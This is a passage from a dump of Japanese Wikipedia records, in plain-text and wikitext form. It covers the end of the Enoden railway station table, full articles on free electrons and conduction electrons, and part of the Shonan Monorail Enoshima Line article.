* [[列車交換]] … ◇・∧:交換可、|:交換不可
{|class="wikitable" rules="all"
|-
!style="width:3.1em; border-bottom:3px solid #f6be18;"|駅番号
!style="width:8em; border-bottom:3px solid #f6be18;"|駅名
!style="width:2.5em; border-bottom:3px solid #f6be18;"|駅間キロ
!style="width:2.5em; border-bottom:3px solid #f6be18;"|営業キロ
!style="border-bottom:3px solid #f6be18;"|接続路線
!style="width:1em; border-bottom:3px solid #f6be18;"|{{縦書き|列車交換}}
!style="border-bottom:3px solid #f6be18;"|所在地
|-
!EN01
|[[藤沢駅]]
|style="text-align:center;"| -
|style="text-align:right;"|0.0
|[[東日本旅客鉄道]]:[[ファイル:JR_JT_line_symbol.svg|15px|JT]] [[東海道線 (JR東日本)|東海道線]]([[上野東京ライン]]・[[湘南新宿ライン]]) (JT 08)<br />[[小田急電鉄]]:[[File:Odakyu enoshima.svg|15px|OE]] [[小田急江ノ島線|江ノ島線]] (OE13)
||
|rowspan="6" style="white-space:nowrap;"|[[藤沢市]]
|-
!EN02
|[[石上駅]]
|style="text-align:right;"|0.6
|style="text-align:right;"|0.6
|
||
|-
!EN03
|[[柳小路駅]]<br>{{smaller|([[鵠沼高等学校]])}}
|style="text-align:right;"|0.6
|style="text-align:right;"|1.2
|
||
|-
!EN04
|[[鵠沼駅]]
|style="text-align:right;"|0.7
|style="text-align:right;"|1.9
|
|◇
|-
!EN05
|[[湘南海岸公園駅]]
|style="text-align:right;"|0.8
|style="text-align:right;"|2.7
|
||
|-
!EN06
|[[江ノ島駅]]
|style="text-align:right;"|0.6
|style="text-align:right;"|3.3
|
|◇
|-
!EN07
|[[腰越駅]]
|style="text-align:right;"|0.6
|style="text-align:right;"|3.9
|
||
|rowspan="10"|[[鎌倉市]]
|-
!EN08
|[[鎌倉高校前駅]]
|style="text-align:right;"|0.8
|style="text-align:right;"|4.7
|
||
|-
!<nowiki>-</nowiki>
|[[峰ヶ原信号場]]
|style="text-align:center;"| -
|style="text-align:center;"| -
|
|◇
|-
!EN09
|[[七里ヶ浜駅]]
|style="text-align:right;"|0.9
|style="text-align:right;"|5.6
|
||
|-
!EN10
|[[稲村ヶ崎駅]]
|style="text-align:right;"|1.2
|style="text-align:right;"|6.8
|
|◇
|-
!EN11
|[[極楽寺駅]]
|style="text-align:right;"|0.8
|style="text-align:right;"|7.6
|
||
|-
!EN12
|[[長谷駅 (神奈川県)|長谷駅]]
|style="text-align:right;"|0.7
|style="text-align:right;"|8.3
|
|◇
|-
!EN13
|[[由比ヶ浜駅]]
|style="text-align:right;"|0.6
|style="text-align:right;"|8.9
|
||
|-
!EN14
|[[和田塚駅]]
|style="text-align:right;"|0.3
|style="text-align:right;"|9.2
|
||
|-
!EN15
|[[鎌倉駅]]
|style="text-align:right;"|0.8
|style="text-align:right;"|10.0
|東日本旅客鉄道:[[ファイル:JR JO line symbol.svg|15px|JO]] [[横須賀・総武快速線|横須賀線]] (JO 07)・[[ファイル:JR JS line symbol.svg|15px|JS]] [[湘南新宿ライン]] (JS 07)
|∧
|}
* 藤沢駅・江ノ島駅・腰越駅・七里ヶ浜駅・稲村ヶ崎駅・長谷駅・鎌倉駅は、駅掛員が配置された有人駅でそれ以外の駅は全て[[無人駅]]である。
== 脚注 ==
{{脚注ヘルプ}}
{{Reflist}}
== 参考文献 ==
* [[吉川文夫]]編著『江ノ電讃歌』[[大正出版]]、1985年9月15日発行
== 関連項目 ==
江ノ島電鉄線が登場する作品については「[[江ノ島電鉄#江ノ電を題材とした作品|江ノ島電鉄]]」を参照。
* [[日本の鉄道路線一覧]]
* 姉妹鉄道
** [[京福電気鉄道]]<!-- 路線記事では姉妹鉄道である旨や、取組みについて触れていない。(会社間の提携なので)-->
** [[平渓線]]
== 外部リンク ==
* [https://www.enoden.co.jp/ 江ノ島電鉄]
{{デフォルトソート:えのしまてんてつせん}}
[[Category:関東地方の鉄道路線]]
[[Category:江ノ島電鉄|路えのしまてんてつせん]]
[[Category:神奈川県の交通]]
[[Category:土木学会選奨土木遺産]] | 2003-04-15T11:19:42Z | 2023-12-25T15:58:23Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E6%B1%9F%E3%83%8E%E5%B3%B6%E9%9B%BB%E9%89%84%E7%B7%9A |
6,765 | 自由電子 | 自由電子(じゆうでんし、英: free electron)とは、束縛を受けていない電子のこと。電子気体(フェルミ気体)とも呼ばれることがある。通常、電子は(ごく弱いものであったとしても)何らかの束縛を受けているため、自由電子は実在しないが、問題を簡潔にし自然科学への理解を助ける(理想化)。この自由電子を用いたモデルを、自由電子モデル(自由電子模型、Free electron model)と言う。現実の電子系について、それらが自由電子であると仮定する近似を自由電子近似と言う。
金属に関する議論においては、伝導電子と同じ意味で自由電子という言葉が用いられることがあるが、電子同士の多体相互作用等を無視している。金属の伝導電子は、電気伝導や熱伝導を担う。
自由電子はポテンシャルを V ( r ) = 0 {\displaystyle V(\mathbf {r} )=0} であるため、ハミルトニアンの固有値問題(定常状態のシュレーディンガー方程式)は次のように書ける。
ここでmは自由電子の質量、ħはディラック定数、温度は絶対零度(T = 0 K)である。これを解くと、得られるエネルギー固有値は次のようになる。
ここで k {\displaystyle {\boldsymbol {k}}} は波数ベクトルである。よってE-k曲線(分散関係)は波数の二乗に比例し、放物線となることがわかる。
また得られるエネルギー固有状態は平面波であることがわかる。
ここで k {\displaystyle \mathbf {k} } は波数ベクトル、 Ω r {\displaystyle \Omega _{r}} は電子の存在する空間の体積である。 この平面波は固体物理学や物性物理学でよく用いられる。ほとんど自由な電子模型や強結合近似、マフィンティンポテンシャルを用いた近似などのバンド構造を調べる上で基本となり、そのエネルギー固有状態はブロッホ関数となる。
時間依存シュレーディンガー方程式
の解は次のように与えられることがわかる。
ここで ω ( k ) {\displaystyle \omega ({\boldsymbol {k}})} は周波数である。
金属を、原子核の格子と、その格子の内部に浸透した、電子気体(プラズマ)の集合体だと見なす。ここで言う電子気体は、原子核の格子の内部に均一に分布している自由電子の集合体である。 振動する電場(電磁波)が金属に到来すると、電子気体は揺り動かされるが、原子核は電子と比較してはるかに重いため、その運動は無視できると考える。 その結果、金属は全体として分極し、その表面に余分な電荷が生まれる。 表面電荷密度は、
ここでnは電子の数密度である。 これはサンプル中に復元電場を作る。
サンプルのある周波数 ω {\displaystyle \omega } における誘電率は次のように表される。
ここで D {\displaystyle D} は電気変位、 P {\displaystyle P} は分極密度である。
電場と分極密度は、
またn電子密度の分極密度は、
振動電場の力Fは、電荷eと質量mをもつ電子を加速度aで加速される。
ここでE、P、xを置き換えると調和振動子の式が得られる。
少し計算をすると、分極密度と電場の関係は次のように表される。
固体の周波数依存誘電関数は、
プラズマ周波数と呼ばれる共鳴周波数 ω p {\displaystyle \omega _{p}} で誘電関数の符号は負から正に代わり、誘電関数の実部は0になる。
プラズマ周波数は、プラズマ振動共鳴やプラズモンの理解において重要である。
プラズマ周波数の測定値は、多くの材料で理論値とよく一致している。 プラズマ周波数以下では誘電関数は負であり、到来した電磁波は試料の表面で全反射される。一方で、プラズマ周波数以上の電磁波はサンプルを貫くことができる。
電子はフェルミ粒子なので同じ状態に1つ(スピン自由度を含めると2つ)しか入ることができず、エネルギー最低の状態から順に詰まっていく。エネルギーの最大値をフェルミエネルギーと呼び、それに相当する波数・運動量をフェルミ波数、フェルミ運動量と呼ぶ。
3次元の場合、フェルミエネルギーは波数空間中の面で表される。これをフェルミ面と呼ぶ。自由粒子のフェルミ面は球状となる。
ここで N e {\displaystyle N_{e}} は系の全電子数である。
波数とエネルギーの関係が求まったので、エネルギーの関数である状態密度 D(E) を計算することができる。
N個の自由電子(三次元)からなる系の全エネルギーEtotは次のように書ける。
よって自由電子一個当りの平均エネルギーは、
自由電子での体積弾性率 K は、系の体積を Ω として以下のように表される。
Kの逆数が圧縮率κである。
これは、EF∝kF∝(Ω)(フェルミ波数は系の体積の三乗根に反比例する量)及び、 P = − ∂ E t o t / ∂ Ω {\displaystyle P=-\partial E_{\mathrm {tot} }/\partial \Omega } (P は圧力、Etot は自由電子の全エネルギー)を使って得られる。
低温で自由電子はフェルミ縮退の状態にあり、特有の性質を示す。 | [
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| 自由電子とは、束縛を受けていない電子のこと。電子気体(フェルミ気体)とも呼ばれることがある。通常、電子は(ごく弱いものであったとしても)何らかの束縛を受けているため、自由電子は実在しないが、問題を簡潔にし自然科学への理解を助ける(理想化)。この自由電子を用いたモデルを、自由電子モデルと言う。現実の電子系について、それらが自由電子であると仮定する近似を自由電子近似と言う。 金属に関する議論においては、伝導電子と同じ意味で自由電子という言葉が用いられることがあるが、電子同士の多体相互作用等を無視している。金属の伝導電子は、電気伝導や熱伝導を担う。 | {{Pathnav|電子|frame=1}}
'''自由電子'''(じゆうでんし、{{lang-en-short|free electron}})とは、束縛を受けていない[[電子]]のこと。'''[[電子気体]]'''('''[[フェルミ気体]]''')とも呼ばれることがある。通常、電子は(ごく弱いものであったとしても)何らかの束縛を受けているため、自由電子は実在しないが、問題を簡潔にし自然科学への理解を助ける([[モデル (自然科学)|理想化]])。この自由電子を用いた[[モデル (自然科学)|モデル]]を、'''自由電子モデル'''(自由電子模型、Free electron model)と言う。現実の電子系について、それらが自由電子であると仮定する近似を[[自由電子近似]]と言う。
[[金属]]に関する議論においては、[[伝導電子]]と同じ意味で自由電子という言葉が用いられることがあるが、電子同士の多体相互作用等を無視している。金属の伝導電子は、[[電気伝導]]や[[熱伝導]]を担う。
== 自由電子のエネルギー固有状態・固有値 ==
{{see also|自由粒子|エネルギー固有状態}}
自由電子はポテンシャルを<math>V(\mathbf{r}) = 0</math>であるため、ハミルトニアンの固有値問題(定常状態の[[シュレーディンガー方程式]])は次のように書ける<ref name=Messiah>
{{cite book |author=Albert Messiah |title=Quantum Mechanics |year= 1999 |publisher= Dover Publications |isbn=0-486-40924-4 }}
</ref><ref name=Gasiorowicz>
{{cite book |author=Stephen Gasiorowicz |title=Quantum Physics |year= 1974 |publisher=Wiley & Sons |isbn=0-471-29281-8 }}
</ref><ref name=Merzbacher>
{{cite book |author=Eugen Merzbacher |title=Quantum Mechanics |edition=3rd |year= 2004 |publisher=Wiley & Sons |isbn=978-9971-5-1281-1 }}
</ref>。
:<math>-\frac{\hbar^2}{2m}\nabla^2 \psi(\mathbf{r}) = E \psi(\mathbf{r}) </math>
ここで{{Mvar|m}}は自由電子の質量、{{Mvar|ħ}}は[[ディラック定数]]、温度は[[絶対零度]]({{Math|{{Mvar|T}} {{=}} {{Val|0|u=K}}}})である。これを解くと、得られる[[エネルギー固有値]]は次のようになる。
:<math> E(\boldsymbol{k}) = \frac{\hbar^2 k^2}{2m}</math>
ここで<math>\boldsymbol{k}</math>は[[波数ベクトル]]である。よって{{Math|{{Mvar|E}}-{{Mvar|k}}}}曲線([[分散関係]])は波数の二乗に比例し、放物線となることがわかる。
また得られる[[エネルギー固有状態]]は平面波であることがわかる。
:<math>\psi_{\mathbf{k}}(\mathbf{r}) = \frac{1}{\sqrt{\Omega_r}} e^{i\mathbf{k}\cdot\mathbf{r} } </math>
ここで<math>\mathbf{k}</math>は[[波数ベクトル]]、<math>\Omega_r</math>は電子の存在する空間の体積である。
この平面波は[[固体物理学]]や[[物性物理学]]でよく用いられる。[[ほとんど自由な電子]]模型や[[強結合近似]]、[[マフィンティンポテンシャル]]を用いた近似などの[[バンド構造]]を調べる上で基本となり、そのエネルギー固有状態は[[ブロッホ関数]]となる。
時間依存シュレーディンガー方程式
:<math>-\frac{\hbar^2}{2m}\nabla^2 \Psi(\mathbf{r},t) = i\hbar\frac{\partial}{\partial t} \Psi(\mathbf{r},t) </math>
の解は次のように与えられることがわかる。
:<math>\Psi(\mathbf{r},t) = \frac{1}{\sqrt{\Omega_r}} e^{i\mathbf{k}\cdot\mathbf{r} - i \omega t} </math>
:<math>\omega(\boldsymbol{k}) = {\frac{\hbar\mathbf{k}^2}{2m}}</math>
ここで<math>\omega(\boldsymbol{k})</math>は周波数である。
==電子気体の誘電関数==
金属を、原子核の格子と、その格子の内部に浸透した、電子気体(プラズマ)の集合体だと見なす。ここで言う電子気体は、原子核の格子の内部に均一に分布している自由電子の集合体である。
振動する電場(電磁波)が金属に到来すると、電子気体は揺り動かされるが、原子核は電子と比較してはるかに重いため、その運動は無視できると考える。
その結果、金属は全体として分極し、その表面に余分な電荷が生まれる。
表面電荷密度は、
:<math>\rho_s = -n e x</math>
ここで''n''は電子の数密度である。
これはサンプル中に復元[[電場]]を作る。
:<math>E = \frac{n e x}{\epsilon_0}</math>
サンプルのある周波数<math>\omega</math>における[[誘電率]]は次のように表される。
:<math>\epsilon = \frac {D}{\epsilon_0 E} = 1 + \frac {P}{\epsilon_0 E} </math>
ここで<math>D</math>は[[電気変位]]、<math>P</math>は[[分極密度]]である。
電場と分極密度は、
:<math>E(t) = E_0 e^{-i \omega t},\quad P(t) = P_0 e^{-i \omega t}</math>
また''n''電子密度の分極密度は、
:<math>P = - n e x</math>
振動電場の力''F''は、電荷''e''と質量''m''をもつ電子を加速度''a''で加速される。
:<math>F = m a = m \frac{d^2x}{dt^2} = -e E </math>
ここで''E''、''P''、''x''を置き換えると[[調和振動子]]の式が得られる。
少し計算をすると、分極密度と電場の関係は次のように表される。
:<math>P = - \frac{ne^2}{m\omega^2} E</math>
固体の周波数依存誘電関数は、
:<math>\epsilon(\omega) = 1 - \frac {n e^2}{\epsilon_0m \omega^2}</math>
'''プラズマ周波数'''と呼ばれる共鳴周波数<math>\omega_p</math>で誘電関数の符号は負から正に代わり、誘電関数の実部は0になる。
:<math>\omega_p = \sqrt{\frac{n e^2}{\epsilon_0 m}} </math>
プラズマ周波数は、[[プラズマ振動]]共鳴や[[プラズモン]]の理解において重要である。
プラズマ周波数の測定値は、多くの材料で理論値とよく一致している。<ref name=Kittel>{{cite book |author=C. Kittel |title=Introduction to Solid State Physics |year= 1953–1976 |publisher=Wiley & Sons |isbn=0-471-49024-5 }}</ref>
プラズマ周波数以下では誘電関数は負であり、到来した電磁波は試料の表面で全反射される。一方で、プラズマ周波数以上の電磁波はサンプルを貫くことができる。
== フェルミエネルギー ==
電子は[[フェルミ粒子]]なので同じ状態に1つ(スピン自由度を含めると2つ)しか入ることができず、エネルギー最低の状態から順に詰まっていく。エネルギーの最大値を'''[[フェルミエネルギー]]'''と呼び、それに相当する波数・運動量を'''フェルミ波数'''、'''フェルミ運動量'''と呼ぶ。
*フェルミエネルギー: <math>E_\mathrm{F} = \hbar^2 {k_\mathrm{F}}^2 / 2m</math>
*フェルミ波数: <math> k_\mathrm{F}</math>
*フェルミ運動量: <math>\hbar k_\mathrm{F}</math>
3次元の場合、フェルミエネルギーは[[波数空間]]中の面で表される。これを[[フェルミ面]]と呼ぶ。自由粒子のフェルミ面は球状となる。
:<math>k_F = \left(\frac{3\pi^2 N_e}{\Omega_r}\right)^{\frac{1}{3}}</math>
ここで<math>N_e</math>は系の全電子数である。
== 状態密度 ==
波数とエネルギーの関係が求まったので、エネルギーの関数である[[状態密度]] {{Math|{{Mvar|D}}({{Mvar|E}})}} を計算することができる。
*状態密度(一次元): <math>D(E) \simeq 1 / \sqrt{E}</math>
*状態密度(二次元): <math>D(E) = \text{constant}</math>
*状態密度(三次元): <math>D(E) \simeq \sqrt{E}</math>
{{Mvar|N}}個の自由電子(三次元)からなる系の全エネルギー{{Math|{{Mvar|E}}{{Sub|tot}}}}は次のように書ける。
:<math>E_\mathrm{tot} = \int_{-\infty}^{E_F} D(E)E dE = {3 \over 5} N E_\mathrm{F} </math>
よって自由電子一個当りの平均エネルギーは、
:<math>\langle E \rangle = {3 \over 5} E_\mathrm{F} </math>
== 弾性率・圧縮率 ==
自由電子での[[体積弾性率]] {{Mvar|K}} は、系の体積を {{Mvar|Ω}} として以下のように表される。
:<math> K = {2 \over 3} \left( {N \over {\Omega}} \right) E_\mathrm{F} </math>
{{Mvar|K}}の逆数が[[圧縮率]]{{Mvar|κ}}である。
:<math> \kappa = {3 \over 2} \left( {\Omega \over N} \right) {1 \over {E_\mathrm{F}} } </math>
これは、{{Math|{{Mvar|E{{Sub|F}}}}∝{{Mvar|k{{Sub|F}}}}{{Sup|2}}∝({{Mvar|Ω}}){{Sup|-2/3}}}}(フェルミ波数は系の体積の三乗根に反比例する量)及び、<math> P = - \partial E_\mathrm{tot} / \partial \Omega </math>({{Mvar|P}} は圧力、{{Math|{{Mvar|E}}{{Sub|tot}}}} は自由電子の全エネルギー)を使って得られる。
== 低温現象 ==
低温で自由電子は[[フェルミ縮退]]の状態にあり、特有の性質を示す。
== 出典 ==
{{Reflist}}
== 関連項目 ==
* [[物性物理学]]
* [[ほとんど自由な電子]]
{{Atomic models}}
{{デフォルトソート:しゆうてんし}}
[[Category:電子]]
[[Category:電子状態]] | 2003-04-15T11:37:38Z | 2023-12-26T19:29:35Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E8%87%AA%E7%94%B1%E9%9B%BB%E5%AD%90 |
6,766 | 伝導電子 | 伝導電子(でんどうでんし、conduction electron)とは、物質(主に金属)において、電気伝導を担う電子のこと。
半導体において、伝導帯にある電子のことも伝導電子と呼ぶ(半導体において単に「電子」と言う場合、多くは伝導電子の意味になる)。価電子帯に存在する電子が、ある温度においては、絶対温度とボルツマン定数の積に値するエネルギーを受ける。このエネルギーがバンドギャップより大きい場合、価電子帯上端付近の電子が伝導帯へと励起され、この電子が伝導電子として振舞うことになる。金属においては、フェルミ準位が伝導帯内に存在するため、この熱的励起のエネルギーが非常に小さくともフェルミ準位以上のエネルギー帯域に電子が存在することになる。強く束縛を受けない伝導電子を自由電子と呼ぶ。
固体中の伝導電子は原子のポテンシャルによってある程度の束縛を受ける。真空中における自由電子は任意のエネルギーを持てるのに対し、結晶中の電子では、その結晶周期性に起因して、運動量(波数)に制限が生じるため、ブリュアンゾーンが生じ、またバンド構造を取る。 しかし電子に部分的に占有されているエネルギーバンドにある電子は自由電子的に振る舞い、格子振動(フォノン)との相互作用などを示すほか、エネルギー準位の占有確率はフェルミ統計に従う。半導体の場合、伝導帯の底付近の電子は、本来の電子の質量とは異なる有効質量を持つ自由電子のように振る舞う。 | [
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| 伝導電子とは、物質(主に金属)において、電気伝導を担う電子のこと。 半導体において、伝導帯にある電子のことも伝導電子と呼ぶ(半導体において単に「電子」と言う場合、多くは伝導電子の意味になる)。価電子帯に存在する電子が、ある温度においては、絶対温度とボルツマン定数の積に値するエネルギーを受ける。このエネルギーがバンドギャップより大きい場合、価電子帯上端付近の電子が伝導帯へと励起され、この電子が伝導電子として振舞うことになる。金属においては、フェルミ準位が伝導帯内に存在するため、この熱的励起のエネルギーが非常に小さくともフェルミ準位以上のエネルギー帯域に電子が存在することになる。強く束縛を受けない伝導電子を自由電子と呼ぶ。 固体中の伝導電子は原子のポテンシャルによってある程度の束縛を受ける。真空中における自由電子は任意のエネルギーを持てるのに対し、結晶中の電子では、その結晶周期性に起因して、運動量(波数)に制限が生じるため、ブリュアンゾーンが生じ、またバンド構造を取る。
しかし電子に部分的に占有されているエネルギーバンドにある電子は自由電子的に振る舞い、格子振動(フォノン)との相互作用などを示すほか、エネルギー準位の占有確率はフェルミ統計に従う。半導体の場合、伝導帯の底付近の電子は、本来の電子の質量とは異なる有効質量を持つ自由電子のように振る舞う。 | {{出典の明記|date=2016年4月}}
'''伝導電子'''(でんどうでんし、conduction electron)とは、物質(主に[[金属]])において、[[電気伝導]]を担う[[電子]]のこと。
[[半導体]]において、[[伝導帯]]にある電子のことも伝導電子と呼ぶ(半導体において単に「[[電子]]」と言う場合、多くは伝導電子の意味になる)。[[価電子帯]]に存在する電子が、ある温度においては、[[絶対温度]]と[[ボルツマン定数]]の積に値するエネルギーを受ける。このエネルギーが[[バンドギャップ]]より大きい場合、価電子帯上端付近の電子が伝導帯へと[[励起]]され、この電子が伝導電子として振舞うことになる。金属においては、[[フェルミ準位]]が伝導帯内に存在するため、この熱的励起のエネルギーが非常に小さくともフェルミ準位以上のエネルギー帯域に電子が存在することになる。強く束縛を受けない伝導電子を[[自由電子]]と呼ぶ。
[[固体]]中の伝導電子は原子の[[ポテンシャル]]によってある程度の束縛を受ける。真空中における自由電子は任意のエネルギーを持てるのに対し、結晶中の電子では、その結晶周期性に起因して、運動量(波数)に制限が生じるため、[[ブリュアンゾーン]]が生じ、また[[バンド構造]]を取る。
しかし電子に部分的に占有されているエネルギーバンドにある電子は自由電子的に振る舞い、[[格子振動]](フォノン)との相互作用などを示すほか、エネルギー準位の占有確率は[[フェルミ統計]]に従う。[[半導体]]の場合、[[伝導帯]]の底付近の電子は、本来の電子の質量とは異なる[[有効質量]]を持つ自由電子のように振る舞う。
==関連項目==
*[[自由電子]]-[[ほとんど自由な電子]]
*[[物理学]]
*[[物性物理]]
*[[金属]]-[[半導体]]-[[絶縁体]]
*[[バンド理論]]-[[バンドギャップ]]
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[[en:Conduction electron]] | null | 2022-09-14T13:09:42Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E4%BC%9D%E5%B0%8E%E9%9B%BB%E5%AD%90 |
6,767 | 湘南モノレール江の島線 | 江の島線(えのしません)は、神奈川県鎌倉市の大船駅から藤沢市の湘南江の島駅まで結ぶ湘南モノレールのモノレール路線である。単に湘南モノレール、湘南モノレール線と呼ばれることが多い。
三浦半島の付け根付近にある丘陵地帯を貫き、古都・鎌倉市街を経由せずに大船と藤沢市片瀬地区を短絡する。丘陵地帯にありながら、当路線の開業以降、富士見町・湘南町屋両駅界隈が主に準工業地域として、湘南深沢駅界隈が商業・住宅地として、西鎌倉 - 目白山下間の各駅界隈では昭和初期からの別荘地であったものが高級分譲地として再整備されるなど開発が進んだ。そのため、用務客の利用が増加し、沿線から東京方面への通勤と沿線への通勤の両方の需要がある通勤路線としての性格を強める。開業以来の2両編成では利用客をさばききれなくなり、1975年には現在の標準組成である3両編成が登場している。
同時に片瀬海岸・江の島を始めとする湘南地域の保養地・観光地アクセス手段の一つでもあるものの、1978年には観光需要が3割、通勤・通学需要が7割であったものが、現在では通勤・通学需要が9割に達する。朝夕は激しく混雑し、富士見町 - 大船間においては混雑率が163%にまで達する列車もある。特に湘南モノレールの大株主だった三菱電機の従業員用務需要は大きい。
近年においても大船駅に近い富士見町駅周辺においてマンション開発が相次いでいるほか、JR東日本の大規模工場が撤収した湘南深沢駅前では鎌倉市が「第3の都市拠点」として再開発を計画している。深沢地区と隣接する藤沢市村岡地域において大規模研究所施設の建設により就業人口が増したことから、関係自治体による村岡・深沢地区総合交通戦略策定協議会 (PDF) も立ち上がっている。
大船駅と湘南江の島駅の両終端駅には駅員が常駐して自動改札機が設置されている。湘南町屋駅及び西鎌倉駅には自動改札機と自動精算機が設置されている。それ以外の無人駅は自動券売機のみが設置され、原則として乗務員が集札を行っていた(下り列車の富士見町駅では大船駅から初乗り運賃であること、大船駅に自動改札機が設置されているため、集札は行われず、駅備え付けの集札箱に乗車券を入れるようになっていた)が、コロナ禍以降は全ての自動改札機のない駅において集札が行われず、集札箱に乗車券を入れる状況が続いている。
路面電車の停留場に似た簡素なものがほとんどであるが、1日の乗降客数が5,000人を超える「特定旅客施設」に該当する駅が多いため、交通バリアフリー法(現バリアフリー新法)による移動円滑化の動きがある。これにより湘南町屋駅・西鎌倉駅・湘南江の島駅には、エレベーター設置に伴い駅舎が改修されているほか、開業以来基準のなかったサインシステムが導入された。
また保安装置はATSを使用し、終点駅や交換可能な駅には鉄道の地上信号機と同じ常置信号機(出発・場内)と従属信号機の遠方信号機が設置されており地上信号での自動閉塞式で運転されている。
富士見町・湘南深沢・西鎌倉・目白山下の各駅で列車交換(行き違い)ができる。単線ながら、早朝と夜間をのぞいて7.5分間隔の高頻度運転が行われており、すべての交換可能駅で列車交換が行われる「ネットダイヤ」を形成している。このため、これ以上運転間隔を短くすることはできない。
大半の列車は大船 - 湘南江の島間の通しで運行されているが、途中駅の湘南深沢駅近くに深沢車庫があるため、朝晩の一部列車に同駅を起・終点とする列車の設定がある。また、ダイヤグラム上昼間の「大船発湘南江の島行き」列車でも途中の湘南深沢で車両交換が行われることがあるが、その場合は乗り換えを余儀なくされる。
日本の多くの鉄道事業者が土曜・休日ダイヤを設定しているなかで、沿線に抱える大規模工場への通勤客輸送という側面を抱える当路線では土曜日の運転には平日ダイヤが適用されていたが、2016年6月1日のダイヤ改正で休日(土日・祝祭日)ダイヤに統合された。
また、観光客対策として毎年8月の第1火曜日に開催される江の島花火大会当日は23時過ぎまで日中同様7分半間隔での臨時ダイヤで運転されている。なお、2007年3月18日は片瀬海岸を発着とする湘南国際マラソン大会への対策として休日ダイヤ適用日ながら平日ダイヤで運転されたほか、2010年まで、毎年元日は平日ダイヤで運転されていた。2018年12月31日から2019年1月1日にかけてには、全線45分間隔で終夜運転を行なった。
2008年2月24日に発生した西鎌倉駅でのオーバーラン事故以来、12月22日まで臨時ダイヤで運転が行われていた。3月23日まで、平成初期まで存在していた大船 - 湘南深沢間を折り返し運行するシャトル便が朝晩を中心に一時的に復活したほか、開業以来設定されたことのなかった土曜日ダイヤの適用も行われていた。
車両の夜間停泊は、車庫のある湘南深沢駅と湘南江の島駅で行われている。
ワンマン運転は行っておらず、車掌が乗務する。
日本跨座式モノレールを推進する陣営と異なりメーカーによるライセンスが開放されていないこともあり、開業時から一貫して三菱重工業・三菱電機共同製作によるもののみ採用されている。車両はすべてアルミ合金製の3両固定編成で、5000系第1編成までは銀色地に赤帯を巻いていた。第2編成以降は、1本毎に異なる色の帯を巻くようになっている。全車両とも行先表示器を装備していない為、先頭部に行先標(通常は「大船←→湘南江の島」で固定)を掲示している。
仕様変更に伴う形式変更・改番を頻繁に行うため、登場時の車号の車両は少ない。500形では、折り畳み座席設置の際に両先頭車のみ(中間車は改番されていない)が550番台に改番された。5000系では、第1編成が案内輪交換の際に両先頭車が5300番台、中間車が5200番台に改番され、その後の貫通扉設置改造時に両先頭車は5600番台に改番された。第2編成は当初両先頭車は5500番台であったが、VVVFインバータ装置の改良や情報記録装置の搭載により5600番台に改番された。第3編成以降は登場時から両先頭車は5600番台である。
旧来の路面電車に代わる都市内交通機関として、モノレールが本命視され複数の規格が各地で試験敷設されていた当時、主に日立製作所が技術主導権を握る跨座式モノレールと対抗軸をなす三菱重工業のモノレール設備機器の本格導入・拡販を目指すためのモデル路線として敷設された。1964年に名古屋市の東山動植物園内に設置された懸垂式モノレールの試験線である東山公園モノレール(1974年廃止)で得られたデータを活かして、2 - 3両の連結車両やモノレール用の特殊な転轍機を新たに採用するなどさらなる試験も兼ねているほか、跨座式モノレールに対する優位性を示すためあえて過酷な条件の地形に挑むように建設された。この路線における技術の成功が千葉都市モノレールに活かされている。
軌道は旧京浜急行自動車専用道路の上空に沿う形で設置されている。この道路は元々大船と江の島海岸を結ぶ普通鉄道線計画が頓挫したために取得済み用地を日本初の自動車専用道路として整備した私道で、モノレール建設当時は京浜急行電鉄によって所有および運営がなされており、軌道敷設にあたってはこの形態が有利に働いたようである。現在では鎌倉市と藤沢市に売却・譲渡され、一般市道に移行している。
この道路には最小曲率半径 25 m、最急勾配 88 ‰ という険しい箇所もある。懸垂式モノレールの性能的には、この道路に完全に沿う形での敷設も可能であったが、車両の馬力、平均速度の観点を加味し最急勾配を 74 ‰、最小曲率半径を本線 100 m、駅構内 50 m とした。途中2か所に道路上空を外れてトンネルを設けた箇所も存在する。このような急カーブを駆け抜ける乗り心地や、めまぐるしく変化する車窓の風景が、ジェットコースターにたとえられることもある。
建設にあたっては、軌道桁・支柱の製造を三菱重工業横浜造船所(当時)、車両は同三原製作所(同)、変電所は三菱電機が担当し、総合監理を三菱地所が行うなど、随所に三菱グループの総合力が活かされている。江の島線の走る鎌倉市の大船から深沢界隈は三菱電機の2事業所を抱える。
湘南江の島駅よりさらに南下して江ノ島電鉄を跨ぎ、江の島あるいは茅ヶ崎まで延伸する構想が当初存在したが、諸々の事情により頓挫したとされる。
大人普通旅客運賃(小児半額・10円未満切り上げ)。2019年10月1日改定。
普通乗車券、定期乗車券、回数乗車券のほかに企画乗車券として「湘南モノレール1日フリーきっぷ」が発売されているほか、過去には『世界のモノレールシリーズ』を初めとする各種記念乗車券も数多く発売されていたことがある。パンチ式車内補充券を現在でも車掌が発行している。 かつて、JR東日本線連絡乗車券を湘南江の島駅券売機限定で発売していた。連絡定期券はJR東日本線連絡のみで、取り扱い区間など詳細は駅や窓口に表示されず、3社連絡定期券は扱わない。
カード乗車券は、2018年4月1日始発よりPASMOが導入された。
券売機や改札機で使用できるプリペイドカードは当初から導入されずパスネットも不参加であった。ICカード乗車券は2007年2月に導入検討中と発表され、同年5月にSuicaを主導するJR東日本と協議に入るとの報道発表があり、導入時期は公式発表されていないが当時県議会議員の松尾崇が出した要望書に、2012年度にPASMOを導入する方向で準備中と回答していた。2011年6月に地域新聞編集部の質問へ狭隘駅舎で自動改札設置が困難で、新規ソフト導入等の課題もあり今の所難しい。と回答していた。直接的投資効果が薄いICカードシステムへ大手鉄道事業者同等の資金優先が困難な点に、交通政策の一環として他都市でバス事業者等へ実施済みのICカード導入補助金制度等を検討する市議会議員もいた。
かつては、小規模事業者ながらコスト競争が無い新造車両の更新や法定の移動円滑化対象駅が多く各駅の大規模改修などが重複到来し、安全運行維持やバリアフリーなど安全設備が優先されるため近隣事業者より大幅に遅延していたが、既設自動改札機や券売機などは既対応機種で今後の更新計画も対応前提であり、ICカードシステムの将来導入は鋭意検討中としていた。
近隣を走る江ノ島電鉄線ほどではないものの、景勝地・湘南を通ることから度々テレビドラマや映画、書籍などの作品に当路線が登場することがある。ここではその一部を取り上げる。 | [
